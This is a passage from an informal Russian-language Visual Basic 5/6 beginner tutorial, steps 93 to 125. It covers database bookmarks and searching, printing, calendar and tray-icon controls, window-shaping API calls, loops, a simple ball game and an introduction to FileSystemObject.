'одиночным объектом Data1, не перечисляя его каждый
'раз, используем инструкцию With
With Data1.Recordset
.Delete
.MoveNext

If .EOF Then .MoveLast
End With
End Sub

ШАГ 93

Задание:

Т.к. мне было лень писать этот шаг, я решил дать тебе задание, СДЕЛАЙ ТЕЛЕФОННЫЙ СПРАВОЧНИК!!! Но не просто справочник, а чтоб туда E - Mail поместился. Делай.

ШАГ 94

Закладки

Например, если в Базе очень много записей, и тебе надо от одной записи вертеть несколько сотен до другой, то проще будет на одну запись кинуть закладку, и потом с любой записи одним щелчком попасть на запись, на которой стоит закладка. Ты что - нибуть понял? Ну, если не понял то сам разбирайся. Опять усовершенствуем наш проект, добавим туда еще 2 кнопки. У первой кнопки Caption = "Закладка", у 2 - ой = "Переход". Код:
Dim qw As String 'Объявляем переменную qw для хранения наше закладки

Private Sub Command7_Click()
qw = Data1.Recordset.Bookmark 'Устанавливаем закладку
End Sub

Private Sub Command8_Click()
Data1.Recordset.Bookmark = qw 'Переходим к ней
End Sub
Теперь ставь закладку на любую запись, и потом на другой записи жми Переход, и ты попадешь на ту запись, где стояла закладка.

ШАГ 95

Поиск в записях

Т.к. базы нужны в основном для фирм (туда имена, адреса... вносят, что не видел на рынках ими торгуют?), то когда накапливается очень много имен, то поиск может занять несколько часов, и для этого иногда программеры делают кнопочку поиск, вот и мы щас такую сделаем.
Представьте себе, что тебе нужно найти конкретное имя автора из тысяч других... WOW!!! :-)) Представили? Ну, так вот листать - вроде совсем не интересно... Нужно воспользоваться одним из способов нахождения: FindFirst, FindLast, FindNext или FindPrevious. В этой таблице представлены их значения:
Метод | Пояснение
FindFirst | Ищет первую запись в БД
FindLast | Ищет последнюю запись в БД
FindNext | Ищет каждую следующую запись в БД
FindPrevious | Ищет предыдущую запись в БД

Private Sub cmdFind_Click()
'у пользователя запрашивается имя а потом происходит
'поиск его в БД
Data1.Recordset.FindFirst "Author = '" _
& Trim(InputBox("Введите имя ")) & "'"
'если запись не найдена появляется следующая надпись:
If Data1.Recordset.NoMatch Then MsgBox "Имя не найдено"
End Sub

ШАГ 96

Объект OLE

Этот объект, очень стремный, но иногда без него не обойтись (я им пользовался только 1 раз, когда прихватило:-)). С помощью этого объекта, можно из других программ что - нибуть вставлять. Например из Worda, мы сможем вставить текст, или его знаменитые объемные рисунки. Начнем. На форму кинь объект OLE( [image]).Жди. Через 5-15 сек. появится окно Вставка объекта, там ты выбираешь программу, из которой будет вставлен объект. В нем крути в самый конец, там найди Рисунок Word, и нажми ОК. От куда не возьмись, появляется окошко, да не простое, а вордовское. В нем впиши текст, впихни рисунки... и закрой его. Теперь вернись в VB, в объекте OLE появился твой текст! Отлично!

ШАГ 97

Объект PrintForm

Т.к. Басик входит в 5 лучших языков, то он и должен уметь работать с принтером. Ты понял на что я намекаю? А я намекаю на то, что этот и последующие шаги будут посвящены ПРИНТЕРАМ. Если у тебя нет принтера, то срочно купи, а то несколько следующих шагов тебе придется пропустить. Так что, быстро бери бабки, и беги в магазин :-)). Начнем с печати всей формы. Для этого у формы есть свойство PrintForm(Печать формы).
Form1.PrintForm 'Печатаем форму
Ну это все фигня, т.к. форму почти ни кто не когда не печатает, а люди обычно печатают текст :-)).

ШАГ 98

Печать текста

Ну если есть в текстовых полях текст, значит его можно отпечатать, и не обязательно в текстовых полях, а можно просто текст. Ну короче, не буду тянуть, для работы с принтером, есть спец объект - Printer, а у этого объекта уже есть свойства и методы для управления им. Первый метод который ты узнаешь в этом шаге будет Print(Печать). На форму кинь 1 Текстовое поле, и 1 кнопку (я специально не сказал Войди в VB(Standart EXE), не маленький, должен запомнить:-)).)
Private Sub Command1_Click()
Printer.Print Text1.Text 'Печатаем текст введенный в Текстовое поле
End Sub
Ну что печатает? Не знаю как у тебя, а я, у себя заметил глюк (у меня VB5 - но я не америкос (Почему - то в инете принято считать, что если у тебя VB5 - то ты америкос, наверное это придумали те у кого VB6...)), я нажимаю на кнопку, и не печатает, надо обязательно выйти из программы, и только тогда принтер зафурычит.

ШАГ 99

Устанавливаем свойства шрифта, который будет отпечатан

Ты наверное скажешь: "Не фига себе заголовок" - и ты будешь прав, т.к. ни чего лучше я не придумал, но зато как сказал - не в бровь а в глаз:-)). Например:
Printer.Font.Name = "Script" 'Буде использован шрифт Script
Printer.Font.Size = 18 'Текст будет размером = 18

ШАГ 100

Определяем тип принтера (цветной, монохромный)

Это свойство уже почти не используется, т.к. монохромные принтеры остались только в музеях, и в моей школе:-)). Но я все равно тебе о нем расскажу. На форму кинь текстовое поле, и кнопку. И впиши:
Private Sub Command1_Click()
Text1.Text = Printer.ColorMode 'В текстовом поле появится цифра 1,или 2.Это тип принтера. Если появится 1 значит принтер монохромный, если 2 - то цветной.
End Sub

Одиннадцатая часть

Автор учебника: Падре
Дата создания: 12 апреля 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

MS Visual Basic


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 101:

OTHERS

В этом шаге я немного расскажу тебе о самом редакторе Визуал Басика (как говорят ботаны Вижуал Бейсик (Ботаны - не обижайтесь...)), начнем мы с удаления форм, модулей... Для удаления файла проекта, в поле Project - Project, выбирай любой файл, щелкай правой кнопкой по нему, и в открывшейся менюшке кликай по Remove Объект. Вот например, в этом рисунке показано как я удаляю Форму:

И также как и я удалил форму, ты можешь удалять и другие файлы.
Теперь перейдем к переименованию проекта. Чтобы переименовать проект тебе надо войти в Project/Project1 Properties... и в открывшемся окне, в поле Project Name - введи любое имя.

Ну пока все.

ШАГ 102

Свойства Height, Width

Свойства Height, Width - возвращают горизонтальный и вертикальный размеры бумаги в принтере, установленном в Windows. Пример: На форму кинь 2 Текстовых Поля, и кнопку, и впиши эту дрянь:
Private Sub Command1_Click()
Text1.Text = Printer.Height 'Узнаем высоту бумаги
Text2.Text = Printer.Width 'Узнаем ширину бумаги
End Sub
Ну это свойство не нужно, т.к. большая часть нашей страны использует формат A4.

ШАГ 103

Устанавливаем качество печати

Для установки качества печати, в VB есть спец свойство PrintQuality, его значения смотри в таблице:

Константа | Значение | Описание
vbPRPQDraft | 1 | Черновая печать
vbPRPQLow | 2 | Низкое разрешение
vbPRPQMedium | 3 | Среднее разрешение
vbPRPQHigh | 4 | Высокое разрешение

Например:
Printer.PrintQuality = 1 'Печатаем текст черным цветом

ШАГ 104

Смотрим кол - во установленных принтеров

Чтобы узнать сколько принтеров стоит в винде, кинь на форму текстовое поле, и кнопку, введи этот код:
Private Sub Command1_Click()
Text1.Text = Printers.Count 'В текстовом поле появится цифра, обозначающая кол - во принтеров
End Sub
Ты наверное при печати заметил, что принтер печатает текст очень близко к верхушке. А это все потому, что принтер надо ввести в состояние готовности. Для этого перед печатью прогоним строку
Printer.Print " ";
А только потом начнем печатать. Все - на принтерах закончили, перейдем к сканерам (Шутка).

ШАГ 105

Компонент Microsoft Calendar Control 8.0. Делаем Календарь.

Как ты наверное понял из названия, этот компонент нужен для создания календаря. Помню когда - то в древности, ты сделал календарь(2 часть), при этом ты потратил много времени (т.к. не знал об этом компоненте...). Начнем. Создай новый проект(Standart EXE, или что - то вроде этого...), на форму запульни Таймер(Interval = 60000(1 мин (если поставить 1 сек, или меньше, то он будет моргать, мерцать, пищать...))). Добавь компонент Microsoft Calendar Control 8.0(для этого войди в Project >> Components и выбери Microsoft Calendar Control 8.0(подробнее в Шаге 34)).

Ну что подключил? Отлично! Теперь в Панели инструментов у тебя появится объект Calendar( [image]), кидай его на форму, растягивай, подтягивай, пока по виду нормальный не станет. У тебя получится такая херня:

Теперь мы сделаем так, чтоб он каждую минуту обновлялся. Для этого впиши код:
Private Sub Timer1_Timer()
Calendar1.Today 'Обновляем наш календарь (вообще метод Today это не обновление (обновление - Refresh) ,а этот метод настраивает календарь на текущую дату)
End Sub
Все календарь создан, исходник качай <а href="kalendar.zip" class="a19">Отсюда
Теперь настраивай его как хочешь (меняй цвета, размеры шрифта..., для этого есть спец свойства (с ними ознакомляйся сам)).
Исходник - Здесь

ШАГ 106

Переход на VB6 & VB7

Если ты программируешь на VB5, то тебе уже давно пора переходить на VB6(я уже перешел), т.к. VB6 продолжение VB5, там намного больше компонентов, библиотек, и он как - то удобнее(т.к. я скачал русификатор для VB6(он на VBNet.ru, в разделе программы), и теперь мой Басик русский), хотя разницы я особой не почувствовал, все теже кнопки, тоже меню... Ну если бабла не очень много, то можешь и на пятой посидеть. Теперь о VB7. Подробно о VB7 читай на VBNet.ru - "Мое первое впечатление о VBNet" и "Мое второе впечатление о VBNet"), скажу только что на стремный комп он скорее всего не пайдет(как на мой старый 166MHZ), и ты сможешь писать программы пока только для себя, т.к. чтобы твоя программа пошла, на другом компе должна быть установленна спец программа(а она пока не у всех есть), но зато твои программы будут идти не только под виндом, но и под юниксом..., но это только при наличии прогрограммы(которая занимает около 100 MB), но мож Билл Гейц включит ее в следующий винд. Но купить наверное стоит, сам пока не знаю, т.к. только купил VB6.

ШАГ 107

Exit Sub

Опертор Exit Sub нужен для Аварийного выхода из процедуры. Много о нем я говорить не буду, но чтобы понять для чего он нужен сделаем программу. Смысл нашей программы будет в том, что при нажатии на кнопку, у ней свойство Caption = "padre03@mail.ru", при повторном нажатии Caption = "padre.narod.ru", потом опять = "padre03@mail.ru", и так до упора. Можешь попробовать сам сделать эту программу, НО в любом случае этот шаг прочитай. На форму кинь кнопку, и впиши код:

Dim QW1 As Long, QW2 As Long

Private Sub Command1_Click()
If QW1 = 1 Then
Command1.Caption = "padre03@mail.ru"
QW2 = 1
QW1 = 0
Exit Sub
End If

If QW2 = 1 Then
Command1.Caption = "padre.narod.ru"
QW2 = 0
QW1 = 1
Exit Sub
End If
End Sub

Private Sub Form_Load()
QW1 = 1
End Sub

Не буду объяснять, сам должен разобраться.
Исходник -
Здесь

Для аварийного выхода из функций есть функция Exit Function

ШАГ 108

События

События MouseDown/MouseUp Эти события действуют тогда, когда кнопка мыши нажата(MouseDown),и когда отжата(MouseUp). Для примера сделаем программу(при нажатии на кнопку будет двигатся фигура, а при отжатии останавливаются): На форму кинь кнопку, Shape, и таймер. Создай событие MouseDown и MouseUp(меню Events(2 часть)). И впиши код:

Private Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) ' Если нажата кнопка наведенной мыши на кнопку то мы включаем таймер
Timer1.Interval = 1
End Sub

Private Sub Command1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) ' Если отжата то выключаем
Timer1.Interval = 0
End Sub

Private Sub Timer1_Timer()
Shape1.Left = Shape1.Left + 30
End Sub

Скачать Исходник

События Resize - это событие есть только у формы, оно действует тогда, когда юзер пытается размеры окна изменить. Вот пример кода программы, у которой при изменении размера окна, возвращаются начальные размеры:
Private Sub Form_Resize()
Form1.Width = 4800
Form1.Height = 3600
End Sub

Теперь попробуй растени или сузь форму.

ШАГ 109

Событие GotFocus и LostFocus

Событие GotFocus происходит тогда, когда объекту передается фокус(т.е. если текстовое поле, то когда на нем курсор появляется, если кнопка, то тогда, когда она выделяется), а LostFocus когда фокус теряется.
Сделаем программу. На форму кинь 2 текстовых поля и кнопку. Вот код:

Dim x As Long
Private Sub Command1_GotFocus() ' Если кнопке фокус передается то меняем надпись на кнопке
Command1.Caption = "Событие GotFocus"
End Sub

Private Sub Text1_GotFocus() ' Если текстовому полю передается фокус, то:
Text1.SelStart = 0 ' Ставим курсор в самое начало
Text1.SelLength = Len(Text1.Text) ' Выделяем текст
End Sub

Private Sub Text2_LostFocus() ' Если текстовое поле теряет фокус, то:
x = Text2.SelStart ' Сохраняем в переменную x позицию курсора
End Sub

Private Sub Text2_GotFocus() ' Если текстовому полю передается фокус, то:
On Error Resume Next' Если ошибка происходит, то игнорируем следующею строчку
Text2.SelStart = x ' Ставим курсор в ту позицию, в которой он был перед потерей фокуса
End Sub

Исходник качай здесь

ШАГ 110

Событие DragDrog и DragOver

Эти события происходят каждый раз при перетаскивании объекта. Например, при перетаскивании окна, значка... происходит это событие. Ну короче делаем программу. На форму кинь объект Image(Picture = "Любая картинка.jpg"), и чтобы ее(картинку) можно было перетаскивать поставь свойство DragMode = 1 - Automatic. Теперь запусти проект, и попробуй перетащить картинку. Ну что получилось? Отлично! Теперь сделаем так чтоб картинку можно было не только перетаскивать, а еще и останавливать в том месте куда ты перетащил.
У формы в списке Events выбери событие DragDrog, и у тебя автоматом сгенерируется процедура DragDrog. В ней впиши: Image1.Left = X
Image1.Top = Y

Вот весь код:

Private Sub Form_DragDrop(Source As Control, X As Single, Y As Single) 'Если на форме происходит событие DragDrog то:
'Перемещаем картинку
Image1.Left = X
Image1.Top = Y
End Sub

только если ты заметил, что картинка при перемещении находится в каком - то квадрате, чтобы его убрать поставь свойство DragIcon = той же картинке что и свойство Picture. А если поставишь другую картинку, то при перемещении картинка изменится.
А событие DragOver присходит тогда, когда объект перемещается.
И эти события можно делать не только у формы, а и у других объектов. Исходник качай здесь

Двенадцатая часть

Автор учебника: Падре
Дата создания: 24 апреля 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 111:

Создание окна в форме круга, и др. :

У Билл Гейца, когда он делал Винд, не хватило ума сделать круглые формы, а юзерам всего мира надоели квадратные окна, и они требуют круглые формы, и мы, программеры всего мира, должны удовлетворять потребности юзеров, т.к. все свои программы, мы делаем для них(ну и для ламеров вирусы...). И вот мы сейчас, с помощью спец. АПИ функции это исправим, для начала сделаем круглое окно, а потом ты сам будешь делать другие окна. Войди в VB, и впиши код:

'Декларируем АПИ:
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long

Private Sub Form_Load() 'При запуске формы, делаем ее круглой:
SetWindowRgn hWnd, CreateEllipticRgn(80, 0, 300, 200), True 'Цифры в скобках означают что - то типо координат, например, изменив первую цифру(80), окно сузится, или расширится
End Sub

Теперь форма круглая! НО помойму, выглядит она не эффектно, и продвинутому юзеру может не понравиться(а простой юзер целыми днями будет на неё любоваться:-))), попробуй немного изменить координаты, короче в Form_Load впиши:
SetWindowRgn hWnd, CreateEllipticRgn(0, 0, 600, 450), True
Ну как? Помойму продвинутому юзеру понравиться! Поэкспериментируй с координатами, и мож у тебя получится супер окно.
Исходник - здесь

ШАГ 112:

Окно с плавным переходом цвета(с верху вниз) :

Окно с плавным переходом цвета очень эффектная штука, и она украшает наши программы. Для начало зальем форму с верху вниз, этот эффект очень часто используют в программах типо Setup. У свойство AutoRedraw надо установить равным True(это чтоб при расширении окна эффект оставался). Код:

Private Sub Form_Resize() 'Событие Resize нужно для того, чтоб при изменении размера формы, выполнялось какое - то действие
Dim X As Integer 'Объявляем переменную - счётчик
For X = 0 To Height 'Запускаем цикл, который повторяться столько раз какой высотой форма
Line (0, X)-(Width, X), X / (Height / 255) ''рисуем линию от верха и до самого низа формы цвет линии постоянно меняется
Next
End Sub

При использовании такого эффекта форма будет медленнее грузиться.
Исходник - Здесь

ШАГ 113:

Окно с плавным переходом цвета(с лево на право) :

Здесь смысл такой же, так что я не буду по два раза объяснять, вот код:(и не забудь AutoRedraw = True)

Private Sub Form_Resize()
For X = 0 To Width
Line (X, 0)-(X, Height), X / (Width / 255)
Next
End Sub

Здесь

ШАГ 114:

Окно с плавным переходом цвета(с верху вниз) :

Этот способ намного эффективнеe - заливается быстрее. Цвет – синий. Код:

Private Sub Form_load()
AutoRedraw = False
End Sub

Private Sub Form_Paint()
'Объявление переменных
Dim lY As Long
Dim lScaleHeight As Long
Dim lScaleWidth As Long

ScaleMode = vbPixels 'Единицу измерения устанавливаем равной пикселу
lScaleHeight = ScaleHeight 'Получаем кол-во пикселов по высоте
lScaleWidth = ScaleWidth 'Получаем кол-во пикселов по ширине
DrawStyle = vbInvisible 'Устанавливаем стиль заливки и рисования
FillStyle = vbFSSolid
For lY = 0 To lScaleHeight 'Запускаем цикл закраски
'Закрашиваем
FillColor = RGB(0, 0, 255 - (lY * 255) \ lScaleHeight)
Line (-1, lY - 1)-(lScaleWidth, lY + 1), , B
Next lY
End Sub

Здесь Исходник

ШАГ 115:

Модный Выход из программы:

В предыдущих шагах мы украшали форму, и в этом шаге я решил продолжить эту тему. В этом шаге ты научишься модно выходить из программы. Войди в VB(Standart EXE) и впиши код:

Private Sub Form_Unload(Cancel As Integer) 'При выходе из программы:
Form1.WindowState = 1 'При выходе делается эффект сворачивания, если вместо 1 поставить 2 - то будет эффект разворачивания, а если 0 - то что - то типо мерцания.
End Sub

ШАГ 116:

Окно, которое впереди всех:

Для создания такого окна используется функция API SetWindowPos из библиотеки user32.dll.

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOSIZE = &H1
Private Const SWP_NOACTIVATE = &H10
Private Const SWP_SHOWWINDOW = &H40
Private Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE

Private Sub Form_Load()
Call SetWindowPos(Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
End Sub

ШАГ 117:

Заливка окна рисунком:

Для заливки окна на форму запульни объект Image, и в Поинте нарисуй квадрат, если из тебя художник ни какой, то скачай исходник, и от туда возьми мой квадрат. Теперь впиши код:

Private Sub Form_Load() 'Ставим Image в самое начало формы:
Image1.Left = 0
Image1.Top = 0
End Sub

Private Sub Form_Paint() 'Это событие помойму тоже самое что и Resize
'Объявляем переменные
Dim X As Integer, Y As Integer
Dim ImgW As Integer
Dim ImgH As Integer
Dim FrmW As Integer
Dim FrmH As Integer

'Использование Image1 в PaintPicture methods:
ImgW = Image1.Width
ImgH = Image1.Height
FrmW = Form1.Width
FrmH = Form1.Height

'Залить целую форму:
For X = 0 To FrmW Step ImgW
For Y = 0 To FrmH Step ImgH
PaintPicture Image1, X, Y
Next Y
Next X
End Sub

Здесь Исходник

ШАГ 118:

Перетаскивания формы за любое место:

Иногда надо сделать такую программу, чтоб ее можно было перетащить за любое место, например, месяца 3 назад, я сделал Календарь, и там кстати эта АПИ тоже используется. Войди в VB, и впиши код:

Const WM_NCLBUTTONDOWN = &HA1
Const HTCAPTION = 2

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function ReleaseCapture Lib "user32" () As Long

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Call ReleaseCapture
Call SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&)
End Sub

Здесь Исходник

ШАГ 119:

Введение в Traybar. Добавление, изменение, удаление ИКОНКИ:

TrayBar находиться около часиков, с другой стороны от Пуска(короче как говорят БоТанЫ на ПАНЕЛИ ИНДЕКАЦИИ), вот оно: . Ну что впечатляет? Естественно!!! И теперь наша миссия добавить туда свою ИКОНКУ. Ведь дохрена программ, которые туда так и наровятся закинуть свою иконку, и теперь наша очередь! Открой VB, на форму кинь 3 кнопки(У Первой Caption="Добавить", у 2 - ой = "Изменить", у 3 - ей = "Удалить"), и создай МоДулЬ. Теперь впиши в нем(В МоДулЕ) код:

Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean 'Константы для добавления, удаления и модификации вашей икноки:
Public Const NIM_ADD = 0
Public Const NIM_MODIFY = 1
Public Const NIM_DELETE = 2
'Константы ответственные за события происходящие внутри границ иконки, расположенной в Traybar:
Public Const WM_MOUSEMOVE = &H200
Public Const NIF_MESSAGE = 1
Public Const NIF_ICON = 2
Public Const NIF_TIP = 4
'Константы ответственные за события поведения мышки происходящие внутри границ иконки, ' расположенной в Traybar:
':
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_LBUTTONDBLCLK = &H203
'Для правой клавиши мышки:
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_RBUTTONDBLCLK = &H206
'Для средней клавиши мышки:
Public Const WM_MBUTTONDOWN = &H207
Public Const WM_MBUTTONUP = &H208
Public Const WM_MBUTTONDBLCLK = &H209
'Объявляем переменную определяемую пользователем:
Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type

Теперь переключись на форму, и в ней(ФОРМЕ) впиши код:

'На форме в разделе General объявляем переменную определенную как тип пользователя:
Dim nid As NOTIFYICONDATA

Private Sub Command1_Click()
' Добавить иконку формы в Traybar
nid.cbSize = Len(nid)
nid.hWnd = Form1.hWnd
nid.uID = vbNull
nid.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
nid.uCallbackMessage = WM_MOUSEMOVE
nid.hIcon = Form1.Icon
'При наведении курсора на Иконку, выдвинется текст: "И не забудь зайти на http://padre.narod.ru/":
nid.szTip = "И не забудь зайти на http://padre.narod.ru/" & vbNullChar
Shell_NotifyIcon NIM_ADD, nid
End Sub

Private Sub Command2_Click()
nid.hIcon = Form1.Icon
nid.szTip = "New Icon" & vbNullChar
Shell_NotifyIcon NIM_MODIFY, nid
End Sub

Private Sub Command3_Click()
Shell_NotifyIcon NIM_DELETE, nid
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
'Объявляем переменные:

Dim msg As Long
Dim sFilter As String

msg = X / Screen.TwipsPerPixelX
Select Case msg
Case WM_LBUTTONDOWN
'Сюда ты можешь вставить код, который захочешь:
MsgBox "Нажата левая кнопка мыши(Нажата)"

Case WM_LBUTTONUP
'Сюда ты можешь вставить код, который захочешь:
MsgBox "Нажата левая кнопка мыши(Отжата)"
Case WM_LBUTTONDBLCLK
'Сюда ты можешь вставить код, который захочешь:
MsgBox "Ты кликнул 2 раза по ИКОНКЕ(Левой кнопкой)"
Case WM_RBUTTONDOWN
'Сюда ты можешь вставить код, который захочешь:
'Обычно это PopupMenu:
MsgBox "Нажата правая кнопка мыши(Нажата)"
Case WM_RBUTTONUP
'Сюда ты можешь вставить код, который захочешь:
MsgBox "Нажата левая кнопка мыши(Отжата)"
Case WM_RBUTTONDBLCLK
'Сюда ты можешь вставить код, который захочешь:
MsgBox "Ты кликнул 2 раза по ИКОНКЕ(Правой кнопкой)"
End Select
End Sub

Теперь добавь еще одну форму, и поменяй у нее иконку(свойство Icon), запусти программу, и нажми на кнопку Изменить, иконка должна измениться.

Здесь Исходник

ШАГ 120:

Задание:

Сделай программу, чтобы при ее запуске иконка помещалась в TrayBar, и при ее нажатии(иконки) левой кнопкой, выдвигалось PopupMenu.

Тринадцатая часть

Автор учебника: Падре
Дата создания: 6 мая 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 121

Операторы цикла

В первой части я уже говорил об операторе цикла со счетчиком, но только не подробно. А вот теперь будем базарить не только об операторе цикла со счетчиком, а операторе цикла с условием. Об операторе цикла со счетчиком я не буду много говорить, т.к. все нужное я сказал в 1 части, НО если ты зациклился на операторе цикла со счетчиком то почитай на моем сайте в разделе статьи(Начинающим). Ну короче посмотри оператор цикла со счетчиком в первой части(только обязательно посмотри, т.к. он нам пригодится). А теперь по - базарим о операторе цикла с условием.
Оператор цикла с условием имеет такой синтаксис:
Do

Loop
Вот даже можешь сделать программу:

Private Sub Form_Load()
Do
MsgBox "Цикл"
Loop
End Sub

Запусти(F5). Ну что - завис? Теперь тебя спасет только Ctrl+PauseBreak. Теперь мы подошли к сути этого шага - к условию! Есть 2 вида условия это:

Do Until x = 0
MsgBox "Цикл"
Loop

Если x <> 0 то цикл будет повторятся, до тех пор, пока x = 0
и второй вид:

Do While x = 0
MsgBox "Цикл"
Loop

Если x = 0 то цикл будет повторятся, до тех пор, пока x <> 0(я использую только этот вариант, и все примеры будут на нем)
Ну, это вроде и все, только старина Билл придумал еще и функцию DoEvents, она нужна чтоб цикл не зацикливался. Ну чтоб все это понять сделаем программу. На форму кинь текстовое поле, и 2 кнопки(у первой Caption = "Пуск", у второй = "Стоп"). Вот код:

Dim x As Long

Private Sub Command1_Click()
x = 0
Do While x = 0 ' Если X = 0 то цикл повторятся
DoEvents ' Это чтоб цикл не зациклился, если ее не напишешь то комп будет виснуть
Text1.Text = Text1.Text + 1 ' Каждый раз когда цикл будет повторяться текст в текстовом поле будет на 1 увеличиваться
Loop
End Sub

Private Sub Command2_Click()
x = 1 ' При нажатии на кнопку цикл останавливается
End Sub

Private Sub Form_Load()
x = 0
Text1.Text = 0
End Sub

Из этого примера видно что оператор цикла повторяется быстрее чем таймер, а значит теперь можно сделать нормальный PineBall, который не будет тормоза давать.
Скачать Исходник

ШАГ 122

Делаем основу PineBall`a

На форму кинь кнопку(Enabled=False), и PictureBox(Enabled = False, и Picture = "Картинка в виде мячика") и Text1(Enabled=False, Text = 0, Visible = False). Код:

Dim MoveLeft As Boolean
Dim MoveRight As Boolean 'Тип Boolean означает то что переменная может принимать только 2 значения True и False
Dim MBall As Boolean

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) 'При нажатии на кнопку
If KeyCode = vbKeyF2 Then MoveBall 'Если нажата клав. F2 то запускаем шарик(т.е. функцию MoveBall)
If KeyCode = vbKeyLeft Then 'Если нажата стрелка влево то:
MoveRight = False 'Останавливаем(если он запущен) цикл, который биту перемещает в противоположное место
Do While MoveRight = False 'Делаем цикл до тех пор пока MoveLeft = False
DoEvents ' Это чтоб система реагировала на сигналы
Command1.Left = Command1.Left - 1 ' Перемещаем кнопку
Text1.Text = Text1.Text - 1 'Это немного цикл тормозит, а то бита очень быстро перемещается
MoveBall 'Запускаем функцию MoveBall
Loop
End If

' Здесь тоже самое только наоборот
If KeyCode = vbKeyRight Then
MoveLeft = False
Do While MoveLeft = False
DoEvents
Command1.Left = Command1.Left + 1
Text1.Text = Text1.Text + 1
MoveBall
Loop
End If
'Остонавливаем биту если нажата стрелка вниз
If KeyCode = vbKeyDown Then
MoveLeft = True
MoveRight = True
Do
DoEvents
MoveBall
Loop
End If
End Sub

Private Sub Form_Load()
'Устанавливаем начальные значения
MoveRight = True
MoveLeft = True
MBall = False
End Sub

Function MoveBall() 'Функция MoveBall
If MBall = False Then 'Если MBall = False то двигаем мяч вниз
Ball.Top = Ball.Top + 1
Else 'Если MBall <> False то двигаем мяч вверх
Ball.Top = Ball.Top - 1
End If
If Ball.Left - Command1.Left < 150 And Ball.Left - Command1.Left >= -320 And Ball.Top >= Command1.Top - 255 Then 'Если мяч ударяется от левый край биты то
MBall = True 'Посылаем его вверх
End If
End Function

Все, остальное сам доделай. Если сделаешь то шли мне на мыло, я помещю исходник на сайт в раздел Исходники.
Недоделанный Исходник качай здесь

ШАГ 123

FileSystemObject - FSO. Начало

FSO - это расширенные возможности работы с файлами, папками и дисководами. С помощью FSO можно создавать папки(и файлы), удалять, копировать, перемещать, смотреть дату создания, изменения... Короче до хрена возможностей.
В FSO есть 4 объета:

Drive - это всякие дисководы, логические, физические, присоединенные диски, и им подобные
Folder - это папки
File - это файлы
FileSystemObject - это основной объект группы, с полными методами, которые позволяют проводить операции над файлами, папками...

Ну короче не буду тянуть, чтобы его подключить к проекту нажми на Проект(Project)>>Ссылки(Reference), найди там библиотеку Microsoft Scriptig Runtime, и отметь ее. Пока все. В следующем шаге начнем с ней работать, а это было что - то типо введения.

ШАГ 124

Подключение и объявление FSO

Подключи библиотеку Microsoft Scriptig Runtime(как это делать смотри выше).
Чтобы создать объект FileSystemObject, надо объявить переменную как объект FSO:
Dim fso As New FileSystemObject
Все, объект создан. Теперь чтобы получить объект к файлу, папке, дисководу существует метод Get:
GetFile - к файлу
GetFolder к папке
GetDrive - к дисководу

Например, щас мы получим доступ к папке:
Dim f As File ' Прежде чем присваивать, надо объявить переменную. Если ты работаешь с папками то Folder, если с файлами, то File, если с дисководом то Drive
Set f = fso.GetFile("c:\1") ' Присваиваем к переменной f доступ к папке(ил не доступ, я вообще в этих словах запутался)
Ну пока все, теперь переходим к практике.

ШАГ 125

Работаем с папками

